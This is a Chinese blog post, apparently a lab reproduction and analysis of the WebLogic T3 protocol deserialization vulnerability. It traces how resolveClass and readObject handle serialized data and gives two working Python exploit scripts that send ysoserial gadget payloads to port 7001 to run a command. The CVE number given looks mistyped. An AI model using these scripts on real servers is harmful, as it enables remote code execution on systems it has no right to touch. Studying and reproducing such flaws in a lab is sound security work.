weblogic反序列化之T3协议-创新互联

前言

weblogic 的反序列化漏洞分为两种 ，一种是基于T3 协议的反序列化漏洞，一个是基于XML的反序列化漏洞，这篇来分析一下基于T3 协议的反序列化漏洞，本文参考了很多师傅的文章，我会贴在最后面。

创新互联主营莘县网站建设的网络公司,主营网站建设方案,手机APP定制开发,莘县h5小程序开发搭建,莘县网站营销推广欢迎莘县等地区企业咨询环境搭建：

[JAVA安全]weblogic反序列化介绍及环境搭建_snowlyzz的博客-博客

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

mirrors / angelwhu / ysoserial · GitCode

T3协议

RMI 通信时会将数据进行序列化后传输，同样的接收数据后反序列化进行接收，正常RMI通信使用的是JRMP协议，而在Weblogic的RMI通信中使用的是T3协议，T3是weblogic独有的一个协议，相比于JRMP多了如下协议：

  • 服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  • 通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。

结构

主要包含请求头和请求主体这两部分，总共分为七个部分，第一部分是协议头，也就是请求包头，后面2-7都是请求主题(这图叠buff了)：

从流量到对象：

借用师傅的一张图

weblogic 通过7001端口，获取到流量钟的T3协议的反序列化数据，他会从图钟的readObject开始，经过一系列的操作，终于在上图的流程终点的 resolveProxyclass 或者是 resolveClass 处将流量钟的代理类 / 类类型的字节转变为了对应的class对象。

在ObjcetInputStream 钟的readClassDesc 方法，存在两个路径，也就是分叉点，导致了序列化的流量流向了两个不同的分支，其中一些流量流向了readProxyDesc 并最终采用resolveProxyClass获取类对象，而另一些则流向了readNonProxyDesc并最终使用resolveClass获取类对象。

readClassDesc

看名字就知道，desc是描述，readClassDesc的功能很简单，读入字节流，通过读取字节流钟的描述符来确定字节流钟传递的数据类型，并交给对应的方法处理。

看下readClassDesc的实现：

private ObjectStreamClass readClassDesc(boolean unshared) 
    throws IOException 
    {
    byte tc = bin.peekByte();
    switch (tc) {
        case TC_NULL:
        return (ObjectStreamClass) readNull();

        case TC_REFERENCE:
        return (ObjectStreamClass) readHandle(unshared);

        case TC_PROXYCLASSDESC:
        return readProxyDesc(unshared);

        case TC_CLASSDESC:
        return readNonProxyDesc(unshared);

        default:
        throw new StreamCorruptedException(
            String.format("invalid type code: %02X", tc));
    }
    }

从 readClassDesc 方法 的实现可见，readClassDesc 钟switch 语句中有5个分支 ：

TC_NULL描述符表示空对象引用

TC_REFERENCE描述符表示引用已写入流的对象

TC_PROXYCLASSDESC是新的代理类描述符

TC_CLASSDESC是新的类描述符

TC_PROXYCLASSDESC  与 TC_CLASSDESC描述符 标识了流量中代理类与类这两种类型的数据，因此我们重点关注TC_PROXYCLASSDESC 与 TC_CLASSDESC 这两个分支，也是上文流程图里只有这两处分支的原因，

当readClassDesc从字节流中读取到TC_CLASSDESC描述符，说明此处程序此时要处理的字节流为普通类，程序接下来会调用readNonProxyDesc方法对这段字节流进行解析。

在readNonProxyDesc方法中，程序会从该段序列化流中获取类的序列化描述符ObjectStreamClass（类序列化描述符ObjectStreamClass，其本质是对Class类的包装，可以想象成一个字典，里面记录了类序列化时的一些信息，包括字段的描述信息和serialVersionUID 和需要序列化的字段fields，以便在反序列化时拿出来使用）。随后该类的序列化描述符被传递给resolveClass方法，resolveClass方法从该类的序列化描述符中获取对应的Class对象。

当readClassDesc 从字节流中读取到  TC_PROXYCLASSDESC 描述符时，说明此处程序此时要处理的字节流为动态代理类，程序接下来会调用readProxydesc方法进行处理 过程与上面的流程一致。

当我们以此处传入的字节流为普通类为例，接下来看看resovleCLass是如何将类的序列化描述符加工成该类的class对象。

weblogic/rjvm/InboundMsgAbbrev.class中的resolveClass方法

protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
            Class var2 = super.resolveClass(var1);
            if (var2 == null) {
                throw new ClassNotFoundException("super.resolveClass returns null.");
            } else {
                ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
                if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
                    throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
                } else {
                    return var2;
                }
            }
        }

程序通过 Class var2  = super.resolveClass(var1); 从 ObjectStreamClass var1中获取到对应的类对象，并赋值给var2，最终通过执行return var2，将var1序列化描述符所对应的Class对象返回

我们调试一下 这个resolveClass 方法：

可以看到 resolveClass 方法成功从序列化描述符中获取到 sun.reflect.annotation.AnnotationInvocationHandler”类对象，并将其返回

从CLass对象到代码执行

程序通过resolveClass获取Class对象，在resolveClass方法将获取到的Class对象返回后，上一级的readNonProxyDesc在接收到resolveClass方法返回值后，连同之前从流量中获取类的序列化描述符ObjectStreamClass一并，初始化并构建一个新的ObjectStreamClass，这个流程如下：

调用栈：

关键代码如下

private ObjectStreamClass readNonProxyDesc(boolean unshared) 
throws IOException 
   {
...

ObjectStreamClass desc = new ObjectStreamClass();
...

ObjectStreamClass readDesc = null;
...
    readDesc = readClassDescriptor();
...

Class cl = null;
...
    if ((cl = resolveClass(readDesc)) == null) {
   resolveEx = new ClassNotFoundException("null class");
    }
...
desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));

...
return desc;
   }

结合流程图与代码来看，readNonProxyDesc 方法中主要  做了如下事情：

  1. 通过 readClassDescriptor() 方法 从流量中获取序列化类的ObjectStreamClass 并 赋值给 readDesc 变量
  2. 将readDesc 传入 resolveClass，获取该类的Class对象并赋值给cl
  3. 将该类的 ObjectStreamClass 与 Class对象传入 initNonProxy 方法，初始化一个 ObjectStreamClass 并赋值给desc 变量
  4. 将 desc 变量返回

readNonProxyDesc方法中返回的ObjectStreamClass类型的desc变量，将会传递给readClassDesc，进而被readClassDesc传递给readOrdinaryObject

因此 当 readNonProxyDesc中 ObjectStreamCLass 类型的desc 变量返回后，途径 readClassDesc方法的最红传给readOrdinaryObject中的desc变量。

接下来我们来看看readOrdinaryObject 中又做了什么处理

ObjectStreamClass desc = readClassDesc(false);
...
    obj = desc.isInstantiable() ? desc.newInstance() : null;
...
if (desc.isExternalizable()) {
    readExternalData((Externalizable) obj, desc);
} else {
    readSerialData(obj, desc);
}

handles.finish(passHandle);

if (obj != null && 
    handles.lookupException(passHandle) == null &&
    desc.hasReadResolveMethod())
{
    Object rep = desc.invokeReadResolve(obj);

第一行

ObjectStreamClass desc = readClassDesc(false);

代码中由 readClassDesc(false)  得到的desc ，即是readNonProxyDesc 中获取并返回ObjectStreamClass类型的desc 

代码中 接下来 的条件分支，即是在获取了 ObjectStreamClass 类型的desc 后，readOrdinaryObject接着尝试调用类对象的 readObject 、readResolve、readExternal方法

在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后，程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。

CVE-2015-4582

请求包头：

T3协议在传输请求体之前都会先发送一个请求包到目标服务器，这个数据包的内容固定为：

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

用python 试着发包：

import requests
import socket


def T3Test(ip,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
    sock.sendall(handshake.encode())
    while True:
        data = sock.recv(1024)
        print(data.decode())

if __name__ == "__main__":
    ip = "你的公网ip"
    port = 7001

    T3Test(ip,port)

返回信息如下，包含了一些版本信息

这里使用wireshark抓个包，网卡选用你的电脑网卡就好了，然后进行一个过滤：

就能看到 用python发的包了。

然后在wireshark数据处右键 - 追踪流 - tcp流

能看到 在HELO后面会返回一个版本号，这就是发这个请求报头的作用

请求主体

既然 1 是请求头部分， 而请求主体就是我们的 2-7 部分，这里我们发现都是 ac ed 00 05 开头，说明该内容是序列化的内容，而如果需要去构造payload 的化，需要在后面序列化的，进行一个替换。将原本存在的序列化内容替换成我们payload 的序列化内容，在传输完成后，进行反序列化达成攻击的目的，这里借用其他师傅的图

这里提供两种攻击思路：

第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。

第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

漏洞复现

根据网上的exp

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.__.__"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/success"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "ysoserial.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        #return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "192.168.__.__"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

运行后

漏洞分析

来到入口处：

wlserver\server\lib\wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class

调用了内部类  InboundMsgAbbrev.ServerChannelInputStream 的 readObject 方法

跟进查看一下 ServerChannelInputStream。

这个内部类继承了 ObjectInputStream  重写了 resolveClass  方法 但是没有重写 readObject 方法，那么调用 本类的   ServerChannelInputStream#readObject 方法，实际上就是调用  ObjectInputStream#readObject 方法，并且这里的  ObjectInputStream#readObject 方法解析处理了我们经过 T3 协议 传递过来的数据且反序列化，从而造成了 命令执行

这里resolveClass，这里进入到父类的resolveClass

resolveClass是执行ObjectInputStream.readObject()前必经的一个方法，就是说在反序列化过程中，序列化的数据都会从resolveClass这个方法中经过一次，那如果这里再提到如何防护的话，我们很容易能想到在这里添加过滤，没错，在后面的cve都是在这里不断地绕过相应的白名单黑名单而产生的

参考文章：

从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事 - 先知社区 (aliyun.com)

weblogic反序列化之T3协议(CVE-2015-4582)_Ys3ter的博客-博客_cve-2015-4582

Java安全之初探weblogic T3协议漏洞 - nice_0e3 - 博客园 (cnblogs.com)

Weblogic12c T3 协议安全漫谈 - 知道创宇 (knownsec.com) 

你是否还在寻找稳定的海外服务器提供商？创新互联www.cdcxhl.cn海外机房具备T级流量清洗系统配攻击溯源，准确流量调度确保服务器高可用性，企业级服务器适合批量采购，新人活动首月15元起，快前往官网查看详情吧


本文题目：weblogic反序列化之T3协议-创新互联
当前路径：http://scjbc.cn/article/cdoecc.html

其他资讯

联系小谭

企业微信号
友情链接： 成都服务器托管   云主机   创新互联重庆   资阳网站建设   网站托管运营   乐至网站建设   盐亭网站制作公司   草坪音箱   成都导视系统设计   手机APP开发   

123ABC 成都网站建设，成都定制网站建设——全心全意建网站公司